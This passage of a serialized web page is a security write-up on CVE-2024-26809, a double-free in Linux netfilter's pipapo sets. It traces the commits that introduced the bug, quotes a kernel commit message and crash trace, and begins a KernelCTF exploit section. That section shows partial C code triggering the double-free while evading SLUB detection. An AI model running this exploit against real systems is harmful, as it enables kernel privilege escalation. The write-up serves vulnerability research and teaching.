children":51483},{"class":141,"line":1891},[51484],{"type":23,"tag":139,"props":51485,"children":51486},{"style":259},[51487],{"type":28,"value":8327},{"type":23,"tag":139,"props":51489,"children":51490},{"class":141,"line":7053},[51491,51495,51499,51504,51508,51512,51516,51520,51524,51529,51533,51537,51541],{"type":23,"tag":139,"props":51492,"children":51493},{"style":279},[51494],{"type":28,"value":48942},{"type":23,"tag":139,"props":51496,"children":51497},{"style":279},[51498],{"type":28,"value":48947},{"type":23,"tag":139,"props":51500,"children":51501},{"style":245},[51502],{"type":28,"value":51503}," nft_set_destroy",{"type":23,"tag":139,"props":51505,"children":51506},{"style":259},[51507],{"type":28,"value":262},{"type":23,"tag":139,"props":51509,"children":51510},{"style":279},[51511],{"type":28,"value":7663},{"type":23,"tag":139,"props":51513,"children":51514},{"style":279},[51515],{"type":28,"value":19159},{"type":23,"tag":139,"props":51517,"children":51518},{"style":259},[51519],{"type":28,"value":48969},{"type":23,"tag":139,"props":51521,"children":51522},{"style":982},[51523],{"type":28,"value":2573},{"type":23,"tag":139,"props":51525,"children":51526},{"style":259},[51527],{"type":28,"value":51528},"ctx, ",{"type":23,"tag":139,"props":51530,"children":51531},{"style":279},[51532],{"type":28,"value":7409},{"type":23,"tag":139,"props":51534,"children":51535},{"style":259},[51536],{"type":28,"value":48997},{"type":23,"tag":139,"props":51538,"children":51539},{"style":982},[51540],{"type":28,"value":2573},{"type":23,"tag":139,"props":51542,"children":51543},{"style":259},[51544],{"type":28,"value":51545},"set)\n",{"type":23,"tag":139,"props":51547,"children":51548},{"class":141,"line":7071},[51549],{"type":23,"tag":139,"props":51550,"children":51551},{"style":259},[51552],{"type":28,"value":8890},{"type":23,"tag":139,"props":51554,"children":51555},{"class":141,"line":7116},[51556],{"type":23,"tag":139,"props":51557,"children":51558},{"style":259},[51559],{"type":28,"value":8327},{"type":23,"tag":139,"props":51561,"children":51562},{"class":141,"line":7222},[51563,51567,51571,51575,51579,51584],{"type":23,"tag":139,"props":51564,"children":51565},{"style":294},[51566],{"type":28,"value":50984},{"type":23,"tag":139,"props":51568,"children":51569},{"style":259},[51570],{"type":28,"value":11768},{"type":23,"tag":139,"props":51572,"children":51573},{"style":294},[51574],{"type":28,"value":50568},{"type":23,"tag":139,"props":51576,"children":51577},{"style":259},[51578],{"type":28,"value":11768},{"type":23,"tag":139,"props":51580,"children":51581},{"style":245},[51582],{"type":28,"value":51583},"destroy",{"type":23,"tag":139,"props":51585,"children":51586},{"style":259},[51587],{"type":28,"value":51588},"(ctx, set);\n",{"type":23,"tag":139,"props":51590,"children":51591},{"class":141,"line":21518},[51592],{"type":23,"tag":139,"props":51593,"children":51594},{"style":259},[51595],{"type":28,"value":8327},{"type":23,"tag":139,"props":51597,"children":51598},{"class":141,"line":21553},[51599],{"type":23,"tag":139,"props":51600,"children":51601},{"style":259},[51602],{"type":28,"value":1897},{"type":23,"tag":24,"props":51604,"children":51605},{},[51606,51608,51613,51615,51620,51622,51628,51630,51635,51637,51642,51644,51648,51650,51655,51656,51660,51662,51668],{"type":28,"value":51607},"It may appear as if it would be impossible to make ",{"type":23,"tag":135,"props":51609,"children":51611},{"className":51610},[],[51612],{"type":28,"value":48871},{"type":28,"value":51614}," true in the release step because the ",{"type":23,"tag":135,"props":51616,"children":51618},{"className":51617},[],[51619],{"type":28,"value":50243},{"type":28,"value":51621}," method is always invoked first...\nHowever, one last piece brings this bug to life: the ",{"type":23,"tag":135,"props":51623,"children":51625},{"className":51624},[],[51626],{"type":28,"value":51627},"set->dead",{"type":28,"value":51629}," flag. If a ",{"type":23,"tag":135,"props":51631,"children":51633},{"className":51632},[],[51634],{"type":28,"value":48917},{"type":28,"value":51636}," was marked for deletion, it receives the ",{"type":23,"tag":135,"props":51638,"children":51640},{"className":51639},[],[51641],{"type":28,"value":51627},{"type":28,"value":51643}," flag ",{"type":23,"tag":139,"props":51645,"children":51646},{},[51647],{"type":28,"value":1099},{"type":28,"value":51649},". If this flag is set, then the commit path will skip any commitments to this ",{"type":23,"tag":135,"props":51651,"children":51653},{"className":51652},[],[51654],{"type":28,"value":48917},{"type":28,"value":471},{"type":23,"tag":139,"props":51657,"children":51658},{},[51659],{"type":28,"value":15541},{"type":28,"value":51661},". This is extremely convenient for us and will allow us to trigger the double-free because the ",{"type":23,"tag":135,"props":51663,"children":51665},{"className":51664},[],[51666],{"type":28,"value":51667},"priv ->dirty",{"type":28,"value":51669}," flag is not cleared when it should have been.",{"type":23,"tag":41,"props":51671,"children":51673},{"id":51672},"tracing-the-guilty-commit",[51674],{"type":28,"value":51675},"Tracing the guilty commit",{"type":23,"tag":24,"props":51677,"children":51678},{},[51679,51681,51688,51690,51696,51698,51703,51705,51711],{"type":28,"value":51680},"The above scenario raises some interesting suppositions about how this vulnerability was introduced. See, any ",{"type":23,"tag":64,"props":51682,"children":51685},{"href":51683,"rel":51684},"https://ubuntu.com/security/CVE-2024-26809",[68],[51686],{"type":28,"value":51687},"advisories",{"type":28,"value":51689}," about this vulnerability will say it was introduced by this ",{"type":23,"tag":64,"props":51691,"children":51694},{"href":51692,"rel":51693},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=9827a0e6e23bf43003cd3d5b7fb11baf59a35e1e",[68],[51695],{"type":28,"value":50577},{"type":28,"value":51697},", which sounds fair considering this added the weird code that frees twice in the same path. However, by checking the blame on the ",{"type":23,"tag":135,"props":51699,"children":51701},{"className":51700},[],[51702],{"type":28,"value":51627},{"type":28,"value":51704}," flag, which was what actually made this exploitable, we will learn that it was only introduced over a year after the commit above in this ",{"type":23,"tag":64,"props":51706,"children":51709},{"href":51707,"rel":51708},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=5f68718b34a531a556f2f50300ead2862278da26",[68],[51710],{"type":28,"value":50577},{"type":28,"value":73},{"type":23,"tag":24,"props":51713,"children":51714},{},[51715],{"type":28,"value":51716},"By reading the message of the first commit, we can finally understand why this code was added:",{"type":23,"tag":128,"props":51718,"children":51722},{"className":51719,"code":51720,"language":51721,"meta":7,"style":7},"language-txt shiki shiki-themes slack-dark","New elements that reside in the clone are not released in case that the\ntransaction is aborted.\n\n[16302.231754] ------------[ cut here ]------------\n[16302.231756] WARNING: CPU: 0 PID: 100509 at net/netfilter/nf_tables_api.c:1864 nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n[...]\n[16302.231882] CPU: 0 PID: 100509 Comm: nft Tainted: G        W         5.19.0-rc3+ #155\n[...]\n[16302.231887] RIP: 0010:nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n[16302.231899] Code: f3 fe ff ff 41 55 41 54 55 53 48 8b 6f 10 48 89 fb 48 c7 c7 82 96 d9 a0 8b 55 50 48 8b 75 58 e8 de f5 92 e0 83 7d 50 00 74 09 \u003C0f> 0b 5b 5d 41 5c 41 5d c3 4c 8b 65 00 48 8b 7d 08 49 39 fc 74 05\n[...]\n[16302.231917] Call Trace:\n[16302.231919]  \u003CTASK>\n[16302.231921]  __nf_tables_abort.cold+0x23/0x28 [nf_tables]\n[16302.231934]  nf_tables_abort+0x30/0x50 [nf_tables]\n[16302.231946]  nfnetlink_rcv_batch+0x41a/0x840 [nfnetlink]\n[16302.231952]  ? __nla_validate_parse+0x48/0x190\n[16302.231959]  nfnetlink_rcv+0x110/0x129 [nfnetlink]\n[16302.231963]  netlink_unicast+0x211/0x340\n[16302.231969]  netlink_sendmsg+0x21e/0x460\n\nAdd nft_set_pipapo_match_destroy() helper function to release the\nelements in the lookup tables.\n\nStefano Brivio says: \"We additionally look for elements pointers in the\ncloned matching data if priv->dirty is set, because that means that\ncloned data might point to additional elements we did not commit to the\nworking copy yet (such as the abort path case, but perhaps not limited\nto it).\"\n\nFixes: 3c4287f62044 (\"nf_tables: Add set type for arbitrary concatenation of ranges\")\nReviewed-by: Stefano Brivio \u003Csbrivio@redhat.com>\nSigned-off-by: Pablo Neira Ayuso \u003Cpablo@netfilter.org>\n","txt",[51723],{"type":23,"tag":135,"props":51724,"children":51725},{"__ignoreMap":7},[51726,51734,51742,51749,51757,51765,51772,51780,51787,51795,51803,51810,51818,51826,51834,51842,51850,51858,51866,51874,51882,51889,51897,51905,51912,51920,51928,51936,51944,51952,51959,51967,51975],{"type":23,"tag":139,"props":51727,"children":51728},{"class":141,"line":142},[51729],{"type":23,"tag":139,"props":51730,"children":51731},{},[51732],{"type":28,"value":51733},"New elements that reside in the clone are not released in case that the\n",{"type":23,"tag":139,"props":51735,"children":51736},{"class":141,"line":151},[51737],{"type":23,"tag":139,"props":51738,"children":51739},{},[51740],{"type":28,"value":51741},"transaction is aborted.\n",{"type":23,"tag":139,"props":51743,"children":51744},{"class":141,"line":160},[51745],{"type":23,"tag":139,"props":51746,"children":51747},{"emptyLinePlaceholder":15},[51748],{"type":28,"value":184},{"type":23,"tag":139,"props":51750,"children":51751},{"class":141,"line":169},[51752],{"type":23,"tag":139,"props":51753,"children":51754},{},[51755],{"type":28,"value":51756},"[16302.231754] ------------[ cut here ]------------\n",{"type":23,"tag":139,"props":51758,"children":51759},{"class":141,"line":178},[51760],{"type":23,"tag":139,"props":51761,"children":51762},{},[51763],{"type":28,"value":51764},"[16302.231756] WARNING: CPU: 0 PID: 100509 at net/netfilter/nf_tables_api.c:1864 nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n",{"type":23,"tag":139,"props":51766,"children":51767},{"class":141,"line":187},[51768],{"type":23,"tag":139,"props":51769,"children":51770},{},[51771],{"type":28,"value":8327},{"type":23,"tag":139,"props":51773,"children":51774},{"class":141,"line":196},[51775],{"type":23,"tag":139,"props":51776,"children":51777},{},[51778],{"type":28,"value":51779},"[16302.231882] CPU: 0 PID: 100509 Comm: nft Tainted: G        W         5.19.0-rc3+ #155\n",{"type":23,"tag":139,"props":51781,"children":51782},{"class":141,"line":205},[51783],{"type":23,"tag":139,"props":51784,"children":51785},{},[51786],{"type":28,"value":8327},{"type":23,"tag":139,"props":51788,"children":51789},{"class":141,"line":214},[51790],{"type":23,"tag":139,"props":51791,"children":51792},{},[51793],{"type":28,"value":51794},"[16302.231887] RIP: 0010:nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n",{"type":23,"tag":139,"props":51796,"children":51797},{"class":141,"line":1320},[51798],{"type":23,"tag":139,"props":51799,"children":51800},{},[51801],{"type":28,"value":51802},"[16302.231899] Code: f3 fe ff ff 41 55 41 54 55 53 48 8b 6f 10 48 89 fb 48 c7 c7 82 96 d9 a0 8b 55 50 48 8b 75 58 e8 de f5 92 e0 83 7d 50 00 74 09 \u003C0f> 0b 5b 5d 41 5c 41 5d c3 4c 8b 65 00 48 8b 7d 08 49 39 fc 74 05\n",{"type":23,"tag":139,"props":51804,"children":51805},{"class":141,"line":1329},[51806],{"type":23,"tag":139,"props":51807,"children":51808},{},[51809],{"type":28,"value":8327},{"type":23,"tag":139,"props":51811,"children":51812},{"class":141,"line":1580},[51813],{"type":23,"tag":139,"props":51814,"children":51815},{},[51816],{"type":28,"value":51817},"[16302.231917] Call Trace:\n",{"type":23,"tag":139,"props":51819,"children":51820},{"class":141,"line":1597},[51821],{"type":23,"tag":139,"props":51822,"children":51823},{},[51824],{"type":28,"value":51825},"[16302.231919]  \u003CTASK>\n",{"type":23,"tag":139,"props":51827,"children":51828},{"class":141,"line":1614},[51829],{"type":23,"tag":139,"props":51830,"children":51831},{},[51832],{"type":28,"value":51833},"[16302.231921]  __nf_tables_abort.cold+0x23/0x28 [nf_tables]\n",{"type":23,"tag":139,"props":51835,"children":51836},{"class":141,"line":1627},[51837],{"type":23,"tag":139,"props":51838,"children":51839},{},[51840],{"type":28,"value":51841},"[16302.231934]  nf_tables_abort+0x30/0x50 [nf_tables]\n",{"type":23,"tag":139,"props":51843,"children":51844},{"class":141,"line":1636},[51845],{"type":23,"tag":139,"props":51846,"children":51847},{},[51848],{"type":28,"value":51849},"[16302.231946]  nfnetlink_rcv_batch+0x41a/0x840 [nfnetlink]\n",{"type":23,"tag":139,"props":51851,"children":51852},{"class":141,"line":1659},[51853],{"type":23,"tag":139,"props":51854,"children":51855},{},[51856],{"type":28,"value":51857},"[16302.231952]  ? __nla_validate_parse+0x48/0x190\n",{"type":23,"tag":139,"props":51859,"children":51860},{"class":141,"line":1667},[51861],{"type":23,"tag":139,"props":51862,"children":51863},{},[51864],{"type":28,"value":51865},"[16302.231959]  nfnetlink_rcv+0x110/0x129 [nfnetlink]\n",{"type":23,"tag":139,"props":51867,"children":51868},{"class":141,"line":1676},[51869],{"type":23,"tag":139,"props":51870,"children":51871},{},[51872],{"type":28,"value":51873},"[16302.231963]  netlink_unicast+0x211/0x340\n",{"type":23,"tag":139,"props":51875,"children":51876},{"class":141,"line":1745},[51877],{"type":23,"tag":139,"props":51878,"children":51879},{},[51880],{"type":28,"value":51881},"[16302.231969]  netlink_sendmsg+0x21e/0x460\n",{"type":23,"tag":139,"props":51883,"children":51884},{"class":141,"line":1753},[51885],{"type":23,"tag":139,"props":51886,"children":51887},{"emptyLinePlaceholder":15},[51888],{"type":28,"value":184},{"type":23,"tag":139,"props":51890,"children":51891},{"class":141,"line":1783},[51892],{"type":23,"tag":139,"props":51893,"children":51894},{},[51895],{"type":28,"value":51896},"Add nft_set_pipapo_match_destroy() helper function to release the\n",{"type":23,"tag":139,"props":51898,"children":51899},{"class":141,"line":1791},[51900],{"type":23,"tag":139,"props":51901,"children":51902},{},[51903],{"type":28,"value":51904},"elements in the lookup tables.\n",{"type":23,"tag":139,"props":51906,"children":51907},{"class":141,"line":1823},[51908],{"type":23,"tag":139,"props":51909,"children":51910},{"emptyLinePlaceholder":15},[51911],{"type":28,"value":184},{"type":23,"tag":139,"props":51913,"children":51914},{"class":141,"line":1831},[51915],{"type":23,"tag":139,"props":51916,"children":51917},{},[51918],{"type":28,"value":51919},"Stefano Brivio says: \"We additionally look for elements pointers in the\n",{"type":23,"tag":139,"props":51921,"children":51922},{"class":141,"line":1891},[51923],{"type":23,"tag":139,"props":51924,"children":51925},{},[51926],{"type":28,"value":51927},"cloned matching data if priv->dirty is set, because that means that\n",{"type":23,"tag":139,"props":51929,"children":51930},{"class":141,"line":7053},[51931],{"type":23,"tag":139,"props":51932,"children":51933},{},[51934],{"type":28,"value":51935},"cloned data might point to additional elements we did not commit to the\n",{"type":23,"tag":139,"props":51937,"children":51938},{"class":141,"line":7071},[51939],{"type":23,"tag":139,"props":51940,"children":51941},{},[51942],{"type":28,"value":51943},"working copy yet (such as the abort path case, but perhaps not limited\n",{"type":23,"tag":139,"props":51945,"children":51946},{"class":141,"line":7116},[51947],{"type":23,"tag":139,"props":51948,"children":51949},{},[51950],{"type":28,"value":51951},"to it).\"\n",{"type":23,"tag":139,"props":51953,"children":51954},{"class":141,"line":7222},[51955],{"type":23,"tag":139,"props":51956,"children":51957},{"emptyLinePlaceholder":15},[51958],{"type":28,"value":184},{"type":23,"tag":139,"props":51960,"children":51961},{"class":141,"line":21518},[51962],{"type":23,"tag":139,"props":51963,"children":51964},{},[51965],{"type":28,"value":51966},"Fixes: 3c4287f62044 (\"nf_tables: Add set type for arbitrary concatenation of ranges\")\n",{"type":23,"tag":139,"props":51968,"children":51969},{"class":141,"line":21553},[51970],{"type":23,"tag":139,"props":51971,"children":51972},{},[51973],{"type":28,"value":51974},"Reviewed-by: Stefano Brivio \u003Csbrivio@redhat.com>\n",{"type":23,"tag":139,"props":51976,"children":51977},{"class":141,"line":21561},[51978],{"type":23,"tag":139,"props":51979,"children":51980},{},[51981],{"type":28,"value":51982},"Signed-off-by: Pablo Neira Ayuso \u003Cpablo@netfilter.org>\n",{"type":23,"tag":24,"props":51984,"children":51985},{},[51986,51988,51993,51995,52000,52002,52007,52009,52014],{"type":28,"value":51987},"As we previously discussed, committing changes to a pipapo ",{"type":23,"tag":135,"props":51989,"children":51991},{"className":51990},[],[51992],{"type":28,"value":48917},{"type":28,"value":51994}," is implemented by creating a clone of the match object, to which changes are made during the control plane. Later, if we enter the commit path, the changes are committed in the ",{"type":23,"tag":135,"props":51996,"children":51998},{"className":51997},[],[51999],{"type":28,"value":50243},{"type":28,"value":52001}," method by simply replacing the ",{"type":23,"tag":135,"props":52003,"children":52005},{"className":52004},[],[52006],{"type":28,"value":48917},{"type":28,"value":52008},"s match object with its updated clone. So checking the ",{"type":23,"tag":135,"props":52010,"children":52012},{"className":52011},[],[52013],{"type":28,"value":48871},{"type":28,"value":52015}," flag and then calling free again ensures we also free uncommitted changes.",{"type":23,"tag":24,"props":52017,"children":52018},{},[52019,52021,52026],{"type":28,"value":52020},"This doesn't make sense in the commit path but only in the abort path. Evidently, when aborting the transaction that creates the ",{"type":23,"tag":135,"props":52022,"children":52024},{"className":52023},[],[52025],{"type":28,"value":48917},{"type":28,"value":52027},", there will be no committed changes, and there will only be the elements inside the clone, which will end up never being committed. So, to make sure we free these uncommitted elements, it's crucial to free what's in the clone.",{"type":23,"tag":24,"props":52029,"children":52030},{},[52031,52033,52039,52041,52046,52048,52053],{"type":28,"value":52032},"When this code was introduced, it was only reachable from the abort path because it was the only path where ",{"type":23,"tag":135,"props":52034,"children":52036},{"className":52035},[],[52037],{"type":28,"value":52038},"set->ops->destroy()",{"type":28,"value":52040}," could be called without clearing the ",{"type":23,"tag":135,"props":52042,"children":52044},{"className":52043},[],[52045],{"type":28,"value":48871},{"type":28,"value":52047}," flag, which was fine considering you didn't have duplicated views of the ",{"type":23,"tag":135,"props":52049,"children":52051},{"className":52050},[],[52052],{"type":28,"value":48909},{"type":28,"value":52054},"s, so they would all be in the clone set.",{"type":23,"tag":24,"props":52056,"children":52057},{},[52058,52060,52065],{"type":28,"value":52059},"But when the ",{"type":23,"tag":135,"props":52061,"children":52063},{"className":52062},[],[52064],{"type":28,"value":51627},{"type":28,"value":52066}," flag was introduced, some assumptions about the commit path were changed. It created a new way of reaching this code while having already committed changes in the set. This means any already committed changes will have a view in the \"normal\" match object and one in the clone.",{"type":23,"tag":24,"props":52068,"children":52069},{},[52070],{"type":28,"value":52071},"The vulnerability was fixed by only deleting elements from the clone because the clone should have all views of committed and uncommitted changes, effectively eliminating the double-free vulnerability.",{"type":23,"tag":41,"props":52073,"children":52075},{"id":52074},"kernelctf-exploit",[52076],{"type":28,"value":52077},"KernelCTF exploit",{"type":23,"tag":24,"props":52079,"children":52080},{},[52081,52083,52089,52091,52098],{"type":28,"value":52082},"Now that we know the full story of the bug, let's look into how I exploited it in the KernelCTF LTS instance before getting into the universal exploit. A great deal of the exploit is based on the ",{"type":23,"tag":135,"props":52084,"children":52086},{"className":52085},[],[52087],{"type":28,"value":52088},"nft_object + udata",{"type":28,"value":52090}," technique shared by lonial con in a ",{"type":23,"tag":64,"props":52092,"children":52095},{"href":52093,"rel":52094},"https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-4004_lts_cos_mitigation/docs/exploit.md",[68],[52096],{"type":28,"value":52097},"previous kernelCTF exploit",{"type":28,"value":73},{"type":23,"tag":666,"props":52100,"children":52102},{"id":52101},"trigger-uafavoid-double-free-detection",[52103],{"type":28,"value":52104},"Trigger UAF/avoid double-free detection",{"type":23,"tag":24,"props":52106,"children":52107},{},[52108,52110,52116,52118,52124],{"type":28,"value":52109},"The SLUB allocator has a naive double-free detection mechanism to spot straightforward sequences, such as the same object being added to the free-list twice in a row without any other objects being added in between.\nAs we have seen, ",{"type":23,"tag":135,"props":52111,"children":52113},{"className":52112},[],[52114],{"type":28,"value":52115},"nft_set_pipapo_match_destroy",{"type":28,"value":52117}," iterates over the ",{"type":23,"tag":135,"props":52119,"children":52121},{"className":52120},[],[52122],{"type":28,"value":52123},"setelems",{"type":28,"value":52125}," in the set and frees each of them, so it should be relatively simple to avoid detection by having more than one element in the set, in which case the following will happen:",{"type":23,"tag":797,"props":52127,"children":52128},{},[52129,52134,52139,52144],{"type":23,"tag":801,"props":52130,"children":52131},{},[52132],{"type":28,"value":52133},"Element A gets freed",{"type":23,"tag":801,"props":52135,"children":52136},{},[52137],{"type":28,"value":52138},"Element B gets free",{"type":23,"tag":801,"props":52140,"children":52141},{},[52142],{"type":28,"value":52143},"Element A gets freed again (double-free)",{"type":23,"tag":801,"props":52145,"children":52146},{},[52147],{"type":28,"value":52148},"Element B gets freed again (double-free)",{"type":23,"tag":128,"props":52150,"children":52152},{"className":27132,"code":52151,"language":27134,"meta":7,"style":7},"[...]\nstatic void trigger_uaf(struct mnl_socket *nl, size_t size, int *msgqids)\n{\n[...]\n    // TRANSACTION 2\n[...]\n\n    // create pipapo set\n    uint8_t desc[2] = {16, 16};\n    set = create_set(\n        batch, seq++, exploit_table_name, \"pwn_set\", 0x1337,\n        NFT_SET_INTERVAL | NFT_SET_OBJECT | NFT_SET_CONCAT, KEY_LEN, 2, &desc, NULL, 0, NFT_OBJECT_CT_EXPECT);\n\n    // commit 2 elems to set (elems A and B that will be double-freed)\n    for (int i = 0; i \u003C 2; i++)\n    {\n        elem[i] = nftnl_set_elem_alloc();\n        memset(key, 0x41 + i, KEY_LEN);\n        nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_OBJREF, \"pwnobj\", 7);\n        nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_KEY, &key, KEY_LEN);\n        nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_USERDATA, &udata_buf, size);\n        nftnl_set_elem_add(set, elem[i]);\n    }\n[...]\n\n    // TRANSACTION 3\n[...]\n    set = nftnl_set_alloc();\n    nftnl_set_set_u32(set, NFTNL_SET_FAMILY, family);\n    nftnl_set_set_str(set, NFTNL_SET_TABLE, exploit_table_name);\n    nftnl_set_set_str(set, NFTNL_SET_NAME, \"pwn_set\");\n\n    // make priv->dirty true\n    memset(key, 0xff, KEY_LEN);\n    elem[3] = nftnl_set_elem_alloc();\n    nftnl_set_elem_set(elem[3], NFTNL_SET_ELEM_OBJREF, \"pwnobj\", 7);\n    nftnl_set_elem_set(elem[3], NFTNL_SET_ELEM_KEY, &key, KEY_LEN);\n    nftnl_set_elem_add(set, elem[3]);\n[...]\n\n    // double-free commited elems\n[...]\n    nftnl_set_free(set);\n}\n[...]\n",[52153],{"type":23,"tag":135,"props":52154,"children":52155},{"__ignoreMap":7},[52156,52163,52224,52231,52238,52246,52253,52260,52268,52292,52313,52347,52408,52415,52423,52475,52482,52508,52535,52574,52603,52632,52654,52661,52668,52675,52683,52690,52698,52711,52724,52744,52751,52759,52781,52813,52858,52894,52922,52929,52936,52944,52951,52967,52974],{"type":23,"tag":139,"props":52157,"children":52158},{"class":141,"line":142},[52159],{"type":23,"tag":139,"props":52160,"children":52161},{"style":259},[52162],{"type":28,"value":8327},{"type":23,"tag":139,"props":52164,"children":52165},{"class":141,"line":151},[52166,52171,52175,52180,52184,52189,52193,52198,52203,52207,52211,52215,52220],{"type":23,"tag":139,"props":52167,"children":52168},{"style":259},[52169],{"type":28,"value":52170},"static void trigger_uaf(",{"type":23,"tag":139,"props":52172,"children":52173},{"style":279},[52174],{"type":28,"value":7409},{"type":23,"tag":139,"props":52176,"children":52177},{"style":305},[52178],{"type":28,"value":52179}," mnl_socket",{"type":23,"tag":139,"props":52181,"children":52182},{"style":279},[52183],{"type":28,"value":7825},{"type":23,"tag":139,"props":52185,"children":52186},{"style":294},[52187],{"type":28,"value":52188},"nl",{"type":23,"tag":139,"props":52190,"children":52191},{"style":259},[52192],{"type":28,"value":1052},{"type":23,"tag":139,"props":52194,"children":52195},{"style":279},[52196],{"type":28,"value":52197},"size_t",{"type":23,"tag":139,"props":52199,"children":52200},{"style":294},[52201],{"type":28,"value":52202}," size",{"type":23,"tag":139,"props":52204,"children":52205},{"style":259},[52206],{"type":28,"value":1052},{"type":23,"tag":139,"props":52208,"children":52209},{"style":279},[52210],{"type":28,"value":17055},{"type":23,"tag":139,"props":52212,"children":52213},{"style":279},[52214],{"type":28,"value":7825},{"type":23,"tag":139,"props":52216,"children":52217},{"style":294},[52218],{"type":28,"value":52219},"msgqids",{"type":23,"tag":139,"props":52221,"children":52222},{"style":259},[52223],{"type":28,"value":273},{"type":23,"tag":139,"props":52225,"children":52226},{"class":141,"line":160},[52227],{"type":23,"tag":139,"props":52228,"children":52229},{"style":259},[52230],{"type":28,"value":8890},{"type":23,"tag":139,"props":52232,"children":52233},{"class":141,"line":169},[52234],{"type":23,"tag":139,"props":52235,"children":52236},{"style":259},[52237],{"type":28,"value":8327},{"type":23,"tag":139,"props":52239,"children":52240},{"class":141,"line":178},[52241],{"type":23,"tag":139,"props":52242,"children":52243},{"style":259},[52244],{"type":28,"value":52245},"    // TRANSACTION 2\n",{"type":23,"tag":139,"props":52247,"children":52248},{"class":141,"line":187},[52249],{"type":23,"tag":139,"props":52250,"children":52251},{"style":259},[52252],{"type":28,"value":8327},{"type":23,"tag":139,"props":52254,"children":52255},{"class":141,"line":196},[52256],{"type":23,"tag":139,"props":52257,"children":52258},{"emptyLinePlaceholder":15},[52259],{"type":28,"value":184},{"type":23,"tag":139,"props":52261,"children":52262},{"class":141,"line":205},[52263],{"type":23,"tag":139,"props":52264,"children":52265},{"style":259},[52266],{"type":28,"value":52267},"    // create pipapo set\n",{"type":23,"tag":139,"props":52269,"children":52270},{"class":141,"line":214},[52271,52276,52280,52284,52288],{"type":23,"tag":139,"props":52272,"children":52273},{"style":259},[52274],{"type":28,"value":52275},"    uint8_t desc[2] = {",{"type":23,"tag":139,"props":52277,"children":52278},{"style":1016},[52279],{"type":28,"value":38738},{"type":23,"tag":139,"props":52281,"children":52282},{"style":259},[52283],{"type":28,"value":1052},{"type":23,"tag":139,"props":52285,"children":52286},{"style":1016},[52287],{"type":28,"value":38738},{"type":23,"tag":139,"props":52289,"children":52290},{"style":259},[52291],{"type":28,"value":14589},{"type":23,"tag":139,"props":52293,"children":52294},{"class":141,"line":1320},[52295,52300,52304,52309],{"type":23,"tag":139,"props":52296,"children":52297},{"style":259},[52298],{"type":28,"value":52299},"    set ",{"type":23,"tag":139,"props":52301,"children":52302},{"style":982},[52303],{"type":28,"value":1067},{"type":23,"tag":139,"props":52305,"children":52306},{"style":245},[52307],{"type":28,"value":52308}," create_set",{"type":23,"tag":139,"props":52310,"children":52311},{"style":259},[52312],{"type":28,"value":1443},{"type":23,"tag":139,"props":52314,"children":52315},{"class":141,"line":1329},[52316,52321,52325,52330,52335,52339,52343],{"type":23,"tag":139,"props":52317,"children":52318},{"style":259},[52319],{"type":28,"value":52320},"        batch, seq",{"type":23,"tag":139,"props":52322,"children":52323},{"style":982},[52324],{"type":28,"value":49167},{"type":23,"tag":139,"props":52326,"children":52327},{"style":259},[52328],{"type":28,"value":52329},", exploit_table_name, ",{"type":23,"tag":139,"props":52331,"children":52332},{"style":265},[52333],{"type":28,"value":52334},"\"pwn_set\"",{"type":23,"tag":139,"props":52336,"children":52337},{"style":259},[52338],{"type":28,"value":1052},{"type":23,"tag":139,"props":52340,"children":52341},{"style":1016},[52342],{"type":28,"value":41395},{"type":23,"tag":139,"props":52344,"children":52345},{"style":259},[52346],{"type":28,"value":1488},{"type":23,"tag":139,"props":52348,"children":52349},{"class":141,"line":1580},[52350,52355,52359,52364,52368,52373,52377,52381,52385,52390,52395,52399,52403],{"type":23,"tag":139,"props":52351,"children":52352},{"style":259},[52353],{"type":28,"value":52354},"        NFT_SET_INTERVAL ",{"type":23,"tag":139,"props":52356,"children":52357},{"style":982},[52358],{"type":28,"value":8425},{"type":23,"tag":139,"props":52360,"children":52361},{"style":259},[52362],{"type":28,"value":52363}," NFT_SET_OBJECT ",{"type":23,"tag":139,"props":52365,"children":52366},{"style":982},[52367],{"type":28,"value":8425},{"type":23,"tag":139,"props":52369,"children":52370},{"style":259},[52371],{"type":28,"value":52372}," NFT_SET_CONCAT, KEY_LEN, ",{"type":23,"tag":139,"props":52374,"children":52375},{"style":1016},[52376],{"type":28,"value":1099},{"type":23,"tag":139,"props":52378,"children":52379},{"style":259},[52380],{"type":28,"value":1052},{"type":23,"tag":139,"props":52382,"children":52383},{"style":982},[52384],{"type":28,"value":1085},{"type":23,"tag":139,"props":52386,"children":52387},{"style":259},[52388],{"type":28,"value":52389},"desc, ",{"type":23,"tag":139,"props":52391,"children":52392},{"style":279},[52393],{"type":28,"value":52394},"NULL",{"type":23,"tag":139,"props":52396,"children":52397},{"style":259},[52398],{"type":28,"value":1052},{"type":23,"tag":139,"props":52400,"children":52401},{"style":1016},[52402],{"type":28,"value":2021},{"type":23,"tag":139,"props":52404,"children":52405},{"style":259},[52406],{"type":28,"value":52407},", NFT_OBJECT_CT_EXPECT);\n",{"type":23,"tag":139,"props":52409,"children":52410},{"class":141,"line":1597},[52411],{"type":23,"tag":139,"props":52412,"children":52413},{"emptyLinePlaceholder":15},[52414],{"type":28,"value":184},{"type":23,"tag":139,"props":52416,"children":52417},{"class":141,"line":1614},[52418],{"type":23,"tag":139,"props":52419,"children":52420},{"style":958},[52421],{"type":28,"value":52422},"    // commit 2 elems to set (elems A and B that will be double-freed)\n",{"type":23,"tag":139,"props":52424,"children":52425},{"class":141,"line":1627},[52426,52430,52434,52438,52443,52447,52451,52455,52459,52463,52467,52471],{"type":23,"tag":139,"props":52427,"children":52428},{"style":319},[52429],{"type":28,"value":1003},{"type":23,"tag":139,"props":52431,"children":52432},{"style":259},[52433],{"type":28,"value":1042},{"type":23,"tag":139,"props":52435,"children":52436},{"style":279},[52437],{"type":28,"value":17055},{"type":23,"tag":139,"props":52439,"children":52440},{"style":259},[52441],{"type":28,"value":52442}," i 